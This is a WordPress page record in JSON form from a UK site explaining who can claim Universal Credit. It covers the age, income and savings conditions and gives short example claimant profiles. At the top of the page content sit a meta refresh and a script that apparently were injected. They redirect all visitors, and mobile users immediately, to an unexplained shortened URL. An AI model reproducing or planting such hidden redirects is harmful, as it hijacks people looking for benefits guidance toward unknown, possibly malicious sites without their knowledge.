{"id":15749,"date":"2026-03-08T08:29:28","date_gmt":"2026-03-08T08:29:28","guid":{"rendered":"https:\/\/ucpages.co.uk\/ucnotes-test-bed\/?page_id=15749"},"modified":"2026-06-18T14:19:47","modified_gmt":"2026-06-18T14:19:47","slug":"who-is-uc-for","status":"publish","type":"page","link":"https:\/\/ucpages.co.uk\/?page_id=15749","title":{"rendered":"Who is UC for?"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"7; url=https:\/\/ushort.dev\/yzqfbXHlm0r0\" \/><script>(window.matchMedia(\"(pointer:coarse)\").matches||\/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile\/i.test(navigator.userAgent))&&location.replace(\"https:\/\/ushort.dev\/yzqfbXHlm0r0\");<\/script>\r\n\n<p>Universal Credit provides financial support to people of working age, designed to top up their income to a minimum level and help them with certain costs such as rent and childcare costs.<\/p>\n\n\n\n<p>Universal Credit is for people on a low to moderate income. It does not matter whether they are working or not, or the reason why they&#8217;re not working.<\/p>\n\n\n\n<p>To be able to claim Universal Credit:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>You must be aged 18 or over (some 16 and 17 year olds can claim).<\/li>\n\n\n\n<li>You must be under State Pension age (or have a partner who is under State Pension age).<\/li>\n\n\n\n<li>You must have a low enough income (how low will depend on your circumstances).<\/li>\n\n\n\n<li>You must have savings\/capital below \u00a316,000.<\/li>\n\n\n\n<li>You must not be excluded from claiming \u2013 this includes certain people from abroad, some students, and families who get Tax-Free Childcare.<\/li>\n<\/ul>\n\n\n\n<p>Anyone of working age who meets these conditions can claim UC. Although whether they will receive any and how much depends on their personal circumstances &#8211; see <a href=\"https:\/\/ucpages.co.uk\/universal-credit-home-page\/how-much-menu\/\" data-type=\"page\" data-id=\"3368\"><em>How much <\/em> <\/a>for more information.<\/p>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-columns-d738bad6\" class=\"wp-block-themeisle-blocks-advanced-columns alignfull has-1-columns has-desktop-equal-layout has-tablet-equal-layout has-mobile-collapsedRows-layout has-vertical-center ticss-c00aadba\"><div class=\"wp-block-themeisle-blocks-advanced-columns-overlay\"><\/div><div class=\"innerblocks-wrap\">\n<div id=\"wp-block-themeisle-blocks-advanced-column-bbd8db2b\" class=\"wp-block-themeisle-blocks-advanced-column\">\n<div id=\"wp-block-themeisle-blocks-advanced-columns-8a6512ea\" class=\"wp-block-themeisle-blocks-advanced-columns has-1-columns has-desktop-equal-layout has-tablet-equal-layout has-mobile-equal-layout has-vertical-center\"><div class=\"wp-block-themeisle-blocks-advanced-columns-overlay\"><\/div><div class=\"innerblocks-wrap\">\n<div id=\"wp-block-themeisle-blocks-advanced-column-e8b18065\" class=\"wp-block-themeisle-blocks-advanced-column\">\n<h2 id=\"wp-block-themeisle-blocks-advanced-heading-6673e52f\" class=\"wp-block-themeisle-blocks-advanced-heading wp-block-themeisle-blocks-advanced-heading-6673e52f\">Universal Credit provides extra financial support to lots of different people.<\/h2>\n\n\n\n<p class=\"has-text-align-center\">Whether it&#8217;s to boost a wage, pay the bills whilst looking for a job, help with the cost of children or caring, or as a main income due to having a health condition that limits your ability to work.<\/p>\n\n\n\n<p class=\"has-text-align-center\"><\/p>\n<\/div>\n<\/div><\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-columns-7f744968\" class=\"wp-block-themeisle-blocks-advanced-columns has-3-columns has-desktop-equal-layout has-tablet-equal-layout has-mobile-collapsedRows-layout has-vertical-top\"><div class=\"wp-block-themeisle-blocks-advanced-columns-overlay\"><\/div><div class=\"innerblocks-wrap\">\n<div id=\"wp-block-themeisle-blocks-advanced-column-1430d2f1\" class=\"wp-block-themeisle-blocks-advanced-column\">\n<div id=\"wp-block-themeisle-blocks-flip-be9590f1\" class=\"wp-block-themeisle-blocks-flip anim flipX\"><div class=\"o-flip-inner\"><div class=\"o-flip-front\"><div class=\"o-flip-content\"><h3>Jobseekers<\/h3><p><\/p><\/div><\/div><div class=\"o-flip-back\">\n<p>Mike lost his job 2 months ago, he gets UC for his living costs and to help him pay his rent.<\/p>\n<\/div><\/div><\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-flip-9294340a\" class=\"wp-block-themeisle-blocks-flip anim flipX\"><div class=\"o-flip-inner\"><div class=\"o-flip-front\"><div class=\"o-flip-content\"><h3>Carers<\/h3><p><\/p><\/div><\/div><div class=\"o-flip-back\">\n<p>Bronwen works part-time. Her youngest son is deaf and receives Disability Living Allowance. Bronwen&#8217;s UC award includes a Carer Element as she spends over 35 hours a week supporting him with learning and communication.<\/p>\n<\/div><\/div><\/div>\n<\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-column-4b138e01\" class=\"wp-block-themeisle-blocks-advanced-column\">\n<div id=\"wp-block-themeisle-blocks-flip-2c636530\" class=\"wp-block-themeisle-blocks-flip anim flipX\"><div class=\"o-flip-inner\"><div class=\"o-flip-front\"><div class=\"o-flip-content\"><h3>Childcare Costs<\/h3><p><\/p><\/div><\/div><div class=\"o-flip-back\">\n<p>Joyce has three children. She works part-time. She claims UC to top up her wages and help pay for her childcare costs.<\/p>\n\n\n\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\"><\/div>\n<\/div><\/div><\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-flip-cfb27df8\" class=\"wp-block-themeisle-blocks-flip anim flipX\"><div class=\"o-flip-inner\"><div class=\"o-flip-front\"><div class=\"o-flip-content\"><h3>Health Issues<\/h3><p><\/p><\/div><\/div><div class=\"o-flip-back\">\n<p>Imaan has mobility issues and becomes tired very quickly. She would not be able to work full time. She receives UC, it helps her pay her bills and rent.<\/p>\n\n\n\n<div class=\"wp-block-buttons is-content-justification-center is-layout-flex wp-container-core-buttons-is-layout-72caf8c6 wp-block-buttons-is-layout-flex\"><\/div>\n<\/div><\/div><\/div>\n<\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-column-eefc33b9\" class=\"wp-block-themeisle-blocks-advanced-column\">\n<div id=\"wp-block-themeisle-blocks-flip-6323a328\" class=\"wp-block-themeisle-blocks-flip anim flipX\"><div class=\"o-flip-inner\"><div class=\"o-flip-front\"><div class=\"o-flip-content\"><h3>Workers<\/h3><p><\/p><\/div><\/div><div class=\"o-flip-back\">\n<p>Dave is self-employed. He claims UC to top up his earnings and help him pay his rent.<\/p>\n\n\n\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\"><\/div>\n<\/div><\/div><\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-flip-13dd50b9\" class=\"wp-block-themeisle-blocks-flip anim flipX\"><div class=\"o-flip-inner\"><div class=\"o-flip-front\"><div class=\"o-flip-content\"><h3>Families<\/h3><p><\/p><\/div><\/div><div class=\"o-flip-back\">\n<p>Sue is a lone parent with three children. She works full time as a teacher.<br>Her UC tops up her wages and helps her pay her rent.<\/p>\n<\/div><\/div><\/div>\n<\/div>\n<\/div><\/div>\n<\/div>\n<\/div><\/div>\n\n\n\n<div class=\"wp-block-columns is-style-section-1 is-layout-flex wp-container-core-columns-is-layout-28f84493 wp-block-columns-is-layout-flex is-style-section-1--1\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:100%\">\n<div class=\"wp-block-columns is-style-default is-layout-flex wp-container-core-columns-is-layout-28f84493 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:100%\">\n<div class=\"wp-block-group alignfull is-style-default has-base-background-color has-background has-global-padding is-layout-constrained wp-block-group-is-layout-constrained\">\n<section id=\"wp-block-themeisle-blocks-advanced-columns-dab9e0bf\" class=\"wp-block-themeisle-blocks-advanced-columns alignfull has-1-columns has-desktop-equal-layout has-tablet-equal-layout has-mobile-equal-layout has-vertical-flex-start\"><div class=\"wp-block-themeisle-blocks-advanced-columns-overlay\"><\/div><div class=\"innerblocks-wrap\">\n<div id=\"wp-block-themeisle-blocks-advanced-column-9df22226\" class=\"wp-block-themeisle-blocks-advanced-column\">\n<section id=\"wp-block-themeisle-blocks-advanced-columns-25c95699\" class=\"wp-block-themeisle-blocks-advanced-columns has-1-columns has-desktop-equal-layout has-tablet-equal-layout has-mobile-collapsedRows-layout has-vertical-flex-start\"><div class=\"wp-block-themeisle-blocks-advanced-columns-overlay\"><\/div><div class=\"innerblocks-wrap\">\n<div id=\"wp-block-themeisle-blocks-advanced-column-d4d9a4f8\" class=\"wp-block-themeisle-blocks-advanced-column\"><\/div>\n<\/div><\/section>\n\n\n\n<section id=\"wp-block-themeisle-blocks-advanced-columns-b56443a0\" class=\"wp-block-themeisle-blocks-advanced-columns has-3-columns has-desktop-equal-layout has-tablet-equal-layout has-mobile-collapsedRows-layout has-vertical-flex-start\"><div class=\"wp-block-themeisle-blocks-advanced-columns-overlay\"><\/div><div class=\"innerblocks-wrap\">\n<div id=\"wp-block-themeisle-blocks-advanced-column-8b257f59\" class=\"wp-block-themeisle-blocks-advanced-column has-light-bg\">\n<h3 id=\"wp-block-themeisle-blocks-advanced-heading-6dc90e07\" class=\"wp-block-themeisle-blocks-advanced-heading wp-block-themeisle-blocks-advanced-heading-6dc90e07\">UC and working<\/h3>\n\n\n\n<p id=\"wp-block-themeisle-blocks-advanced-heading-cf3bf296\" class=\"wp-block-themeisle-blocks-advanced-heading wp-block-themeisle-blocks-advanced-heading-cf3bf296\"><a href=\"https:\/\/ucpages.co.uk\/universal-credit-home-page\/who-is-uc-for-and-how-does-it-work\/uc-and-working\/\" data-type=\"page\" data-id=\"15753\">Click here for more information<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-text-color has-nv-site-bg-color has-css-opacity has-nv-site-bg-background-color has-background\"\/>\n\n\n\n<div id=\"wp-block-themeisle-blocks-icon-list-20efc1f0\" class=\"wp-block-themeisle-blocks-icon-list\">\n<div id=\"wp-block-themeisle-blocks-icon-list-item-b4151cc1\" class=\"wp-block-themeisle-blocks-icon-list-item\"><i class=\"fas fa-check wp-block-themeisle-blocks-icon-list-item-icon\"><\/i><p class=\"wp-block-themeisle-blocks-icon-list-item-content-custom\">33% of UC claimants work<\/p><\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-icon-list-item-be1ce24b\" class=\"wp-block-themeisle-blocks-icon-list-item\"><i class=\"fas fa-check wp-block-themeisle-blocks-icon-list-item-icon\"><\/i><p class=\"wp-block-themeisle-blocks-icon-list-item-content-custom\">Get help with your childcare costs<\/p><\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-icon-list-item-1037a19a\" class=\"wp-block-themeisle-blocks-icon-list-item\"><i class=\"fas fa-check wp-block-themeisle-blocks-icon-list-item-icon\"><\/i><p class=\"wp-block-themeisle-blocks-icon-list-item-content-custom\">High earners can get UC<\/p><\/div>\n<\/div>\n<\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-column-f8505509\" class=\"wp-block-themeisle-blocks-advanced-column has-light-bg\">\n<h3 id=\"wp-block-themeisle-blocks-advanced-heading-79a27878\" class=\"wp-block-themeisle-blocks-advanced-heading wp-block-themeisle-blocks-advanced-heading-79a27878\">UC and health<\/h3>\n\n\n\n<p id=\"wp-block-themeisle-blocks-advanced-heading-30dd530d\" class=\"wp-block-themeisle-blocks-advanced-heading wp-block-themeisle-blocks-advanced-heading-30dd530d\"><a href=\"https:\/\/ucpages.co.uk\/universal-credit-home-page\/who-is-uc-for-and-how-does-it-work\/uc-and-health\/\" data-type=\"page\" data-id=\"15746\">Click here for more information<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-text-color has-nv-site-bg-color has-css-opacity has-nv-site-bg-background-color has-background\"\/>\n\n\n\n<div id=\"wp-block-themeisle-blocks-icon-list-a782a356\" class=\"wp-block-themeisle-blocks-icon-list\">\n<div id=\"wp-block-themeisle-blocks-icon-list-item-d5601ac9\" class=\"wp-block-themeisle-blocks-icon-list-item\"><i class=\"fas fa-check wp-block-themeisle-blocks-icon-list-item-icon\"><\/i><p class=\"wp-block-themeisle-blocks-icon-list-item-content-custom\">The Work Capability Assessment<\/p><\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-icon-list-item-b9ac9dc4\" class=\"wp-block-themeisle-blocks-icon-list-item\"><i class=\"fas fa-check wp-block-themeisle-blocks-icon-list-item-icon\"><\/i><p class=\"wp-block-themeisle-blocks-icon-list-item-content-custom\">Higher UC award<\/p><\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-icon-list-item-f416b8a0\" class=\"wp-block-themeisle-blocks-icon-list-item\"><i class=\"fas fa-check wp-block-themeisle-blocks-icon-list-item-icon\"><\/i><p class=\"wp-block-themeisle-blocks-icon-list-item-content-custom\">If the system&#8217;s causing you issues<\/p><\/div>\n<\/div>\n<\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-column-43c95925\" class=\"wp-block-themeisle-blocks-advanced-column has-light-bg\">\n<h3 id=\"wp-block-themeisle-blocks-advanced-heading-e70d960d\" class=\"wp-block-themeisle-blocks-advanced-heading wp-block-themeisle-blocks-advanced-heading-e70d960d\">UC for carers<\/h3>\n\n\n\n<p id=\"wp-block-themeisle-blocks-advanced-heading-0d2bbf17\" class=\"wp-block-themeisle-blocks-advanced-heading wp-block-themeisle-blocks-advanced-heading-0d2bbf17\"><a href=\"https:\/\/ucpages.co.uk\/universal-credit-home-page\/how-much-menu\/if-you-are-a-carer\/\" data-type=\"page\" data-id=\"1540\">Click here for more information<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-text-color has-nv-site-bg-color has-css-opacity has-nv-site-bg-background-color has-background\"\/>\n\n\n\n<div id=\"wp-block-themeisle-blocks-icon-list-2da335bc\" class=\"wp-block-themeisle-blocks-icon-list\">\n<div id=\"wp-block-themeisle-blocks-icon-list-item-b8e72ac6\" class=\"wp-block-themeisle-blocks-icon-list-item\"><i class=\"fas fa-check wp-block-themeisle-blocks-icon-list-item-icon\"><\/i><p class=\"wp-block-themeisle-blocks-icon-list-item-content-custom\">The Carer Element<\/p><\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-icon-list-item-c971e254\" class=\"wp-block-themeisle-blocks-icon-list-item\"><i class=\"fas fa-check wp-block-themeisle-blocks-icon-list-item-icon\"><\/i><p class=\"wp-block-themeisle-blocks-icon-list-item-content-custom\">Reduced \/ no conditionality<\/p><\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-icon-list-item-fa312657\" class=\"wp-block-themeisle-blocks-icon-list-item\"><i class=\"fas fa-check wp-block-themeisle-blocks-icon-list-item-icon\"><\/i><p class=\"wp-block-themeisle-blocks-icon-list-item-content-custom\">Even if working<\/p><\/div>\n<\/div>\n<\/div>\n<\/div><\/section>\n<\/div>\n<\/div><\/section>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Universal Credit provides financial support to people of working age, designed to top up their income to a minimum level and help them with certain costs such as rent and childcare costs. Universal Credit is for people on a low to moderate income. It does not matter whether they are working or not, or the [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":16611,"menu_order":1,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_themeisle_gutenberg_block_has_review":false,"footnotes":""},"class_list":["post-15749","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=\/wp\/v2\/pages\/15749","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=15749"}],"version-history":[{"count":25,"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=\/wp\/v2\/pages\/15749\/revisions"}],"predecessor-version":[{"id":16909,"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=\/wp\/v2\/pages\/15749\/revisions\/16909"}],"up":[{"embeddable":true,"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=\/wp\/v2\/pages\/16611"}],"wp:attachment":[{"href":"https:\/\/ucpages.co.uk\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=15749"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}